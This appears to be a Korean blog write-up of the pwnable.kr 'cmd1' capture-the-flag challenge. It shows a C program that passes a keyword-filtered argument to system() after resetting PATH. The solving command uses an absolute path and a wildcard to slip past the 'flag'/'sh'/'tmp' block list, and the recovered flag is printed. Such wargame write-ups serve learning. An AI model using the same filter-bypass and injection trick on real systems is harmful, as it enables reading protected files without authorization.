#include <stdio.h>
    #include <string.h>
    
    int filter(char* cmd){
    	int r=0;
    	r += strstr(cmd, "flag")!=0;
    	r += strstr(cmd, "sh")!=0;
    	r += strstr(cmd, "tmp")!=0;
    	return r;
    }
    int main(int argc, char* argv[], char** envp){
    	putenv("PATH=/thankyouverymuch");
    	if(filter(argv[1])) return 0;
    	system( argv[1] );
    	return 0;
    }

    풀이

    putenv("PATH=/thankyouverymuch");

    PATH라는 실행 파일 탐색 경로인 환경변수에 있는 값을 /thankyouverymuch로 변경한다.

    따라서 프로그램을 실행시킬때 절대 경로로 프로그램을 실행시켜야 될 것이다.

    int filter(char* cmd){
    	int r=0;
    	r += strstr(cmd, "flag")!=0;
    	r += strstr(cmd, "sh")!=0;
    	r += strstr(cmd, "tmp")!=0;
    	return r;
    }
    ...
    if(filter(argv[1])) return 0;

    filter 함수에 argv[1]이 flag, sh, tmp 이 셋중에 하나라도 키워드가 들어갈 시 0을 바로 반환시켜 프로그램을 종료해버린다.

    system( argv[1] );

    filter 함수를 무사히 통과하면, system 함수를 통해 명령어를 실행시킬 수 있게 된다.

    cmd1@pwnable:~$ ./cmd1 "/bin/cat /home/cmd1/fla*"
    mommy now I get what PATH environment is for :)

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다